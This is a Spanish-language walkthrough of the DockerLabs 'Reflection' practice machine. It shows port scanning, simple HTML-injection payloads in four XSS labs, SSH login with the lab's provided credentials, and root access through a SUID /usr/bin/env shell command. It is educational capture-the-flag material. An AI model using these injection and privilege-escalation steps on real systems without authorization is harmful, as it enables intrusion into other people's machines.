> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/reflection.md).

# Reflection

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **Reflection** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Descomprimimos el archivo `.zip` utilizando `7z`:

```bash
7z x reflection.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F6STenwvSiyeyrvsjc6Nh%2FPasted%20image%2020250724104226.png?alt=media&amp;token=e7a16eca-0f32-4864-aba9-62af91b18431" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script `auto_deploy.sh` que automatiza el despliegue del contenedor vulnerable en Docker:

```bash
bash auto_deploy.sh reflection.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FmcTjDMLlJyRLFOXugJD1%2FPasted%20image%2020250724104257.png?alt=media&amp;token=a68fd94f-aead-4a25-8172-f9f0d680c951" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FnHFayORj4yYfXmReFubc%2FPasted%20image%2020250724104410.png?alt=media&amp;token=b33b0ef5-ab28-4f63-834c-b9b572d542d1" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Puertos abiertos:**

* **Puerto 22:** `SSH`.
* **Puerto 80:** `HTTP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJH8FyuP2A3mnehmB35nz%2FPasted%20image%2020250724104459.png?alt=media&amp;token=9385b373-bc86-469d-b586-eb93a0b7f020" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Analizamos los puertos encontrados con mayor profundidad:

```bash
nmap -p22,80 -sCV 172.17.0.2 -oN targeted
```

**Servicios detectados:**

* **Puerto 22:** OpenSSH 9.2p1.
* **Puerto 80:** Apache 2.4.62 - Página de laboratorio XSS.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FQ07nTC8ROCqKrrLpGQ6O%2FPasted%20image%2020250724104543.png?alt=media&amp;token=6785b1f7-5663-424d-982e-373f5fc3715d" alt=""><figcaption></figcaption></figure>

#### **2.4. Enumeración web**

Accedemos a `http://172.17.0.2` desde el navegador y encontramos una web con varios laboratorios de XSS.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FAhIikfD17tdDgLpxisCd%2FPasted%20image%2020250724104616.png?alt=media&amp;token=c879a2d1-20de-49ad-bf73-eefab6a31142" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Laboratorio 1 (XSS Reflejado)**

Este laboratorio refleja directamente la entrada proporcionada por el usuario en la misma página.

Probamos con el siguiente payload:

```html
<h1>1</h1>
```

**Resultado:** El código HTML se interpreta correctamente, mostrando el texto `1` como encabezado.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FUyDYhenwZqseBTCycKml%2FPasted%20image%2020250724104728.png?alt=media&amp;token=7d34f2d3-4bcf-468d-8bbd-d6d8f362d4d6" alt=""><figcaption></figcaption></figure>

#### **3.2. Laboratorio 2 (XSS Almacenado)**

Este nivel permite almacenar el payload en el servidor.

Ejecutamos el siguiente payload:

```html
<h1 style="color:red;">1</h1>
```

**Resultado:** El código se almacena en el servidor y se muestra con el estilo aplicado (texto en color rojo).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FdaK8zvSVgEAvZqhbpQbI%2FPasted%20image%2020250724104956.png?alt=media&amp;token=e20a9f78-c8ba-43a1-9bb9-532abed70fbf" alt=""><figcaption></figcaption></figure>

#### **3.3. Laboratorio 3 (XSS con Dropdowns)**

Seleccionamos valores en los menús desplegables y activamos el proxy de BurpSuite para interceptar la solicitud.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FMs0C2sCEVW7R8ATcCzLH%2FPasted%20image%2020250724105155.png?alt=media&amp;token=b259f972-8c69-4ca2-b227-1917e0da782d" alt=""><figcaption></figcaption></figure>

Esta es la línea que debemos modificar para explotar esta vulnerabilidad:

```
GET /laboratorio3/?opcion1=ValorA&opcion2=ValorX&opcion3=Opcion1
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FB4M3TqY1boKxE3KtiWzx%2FPasted%20image%2020250724105225.png?alt=media&amp;token=4c104199-7cb2-4cf4-bf74-e5d05aa3ac38" alt=""><figcaption></figcaption></figure>

Realizamos los siguientes cambios:

```
GET /laboratorio3/?opcion1=<p>Prueba_1</p>&opcion2=<p>Prueba_2</p>&opcion3=<p>Prueba_3</p>
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FZ524UU7m89q5aUtRnCuJ%2FPasted%20image%2020250724105410.png?alt=media&amp;token=fff361f9-e181-44ba-8451-4a553063ba08" alt=""><figcaption></figcaption></figure>

**Resultado:** El código que hemos introducido en la solicitud se interpreta correctamente en la respuesta.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FN9WObHVJlN2ihg5fuJa4%2FPasted%20image%2020250724105513.png?alt=media&amp;token=7083b56e-084e-412b-a2f8-9debd8b07168" alt=""><figcaption></figcaption></figure>

#### **3.4. Laboratorio 4 (Parámetro GET)**

Este laboratorio refleja el contenido del parámetro `data` en la URL.

URL utilizada:

```
http://172.17.0.2/laboratorio4/?data=<p style="color:blue">Prueba</p>
```

**Resultado:** El código se interpreta mostrando el texto en color azul.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F05ow1wwIz8STE6LLGaHd%2FPasted%20image%2020250724105655.png?alt=media&amp;token=dc8dd52a-d3f3-4e0c-8057-7cb799396578" alt=""><figcaption></figcaption></figure>

#### **3.5. Conexión SSH**

Al completar los cuatro laboratorios, pulsamos el botón "Clic Aquí Cuando hayas Completado los Laboratorios". Esto nos muestra una ventana con credenciales para conectarnos por SSH:

* **Usuario:** `balu`.
* **Contraseña:** `balulero`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FwDyLZSOoS6lyFnzN4yik%2FPasted%20image%2020250724105714.png?alt=media&amp;token=416a0e55-536b-4435-9f1d-f94da8cc9288" alt=""><figcaption></figcaption></figure>

Nos conectamos al sistema usando las credenciales obtenidas:

```bash
ssh balu@172.17.0.2
```

Confirmamos que tenemos acceso al sistema con el usuario `balu`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FJdi6JM5rczwqltOW1ouc%2FPasted%20image%2020250724105751.png?alt=media&amp;token=dd916a16-d2c0-47da-860f-fc571cda07bd" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Búsqueda de binarios SUID**

Buscamos binarios con el bit SUID activo:

```bash
find / -perm -4000 2>/dev/null
```

Encontramos el binario `/usr/bin/env` con permisos SUID.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fi4dkMvTxrDCJ8coiS6fK%2FPasted%20image%2020250724105847.png?alt=media&amp;token=80584050-15e4-4145-bee4-91a1d1280e78" alt=""><figcaption></figcaption></figure>

#### **4.2. Explotación del binario env**

Utilizamos el binario `env` para obtener una shell con privilegios de `root`:

```bash
/usr/bin/env /bin/bash -p
```

**Resultado:** Obtenemos una shell como `root`, completando con éxito la escalada de privilegios.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FQP8kkM72Jjs8WpMjWct5%2FPasted%20image%2020250724105932.png?alt=media&amp;token=904d1c6a-c09e-432e-94e5-a955260fa417" alt=""><figcaption></figcaption></figure>
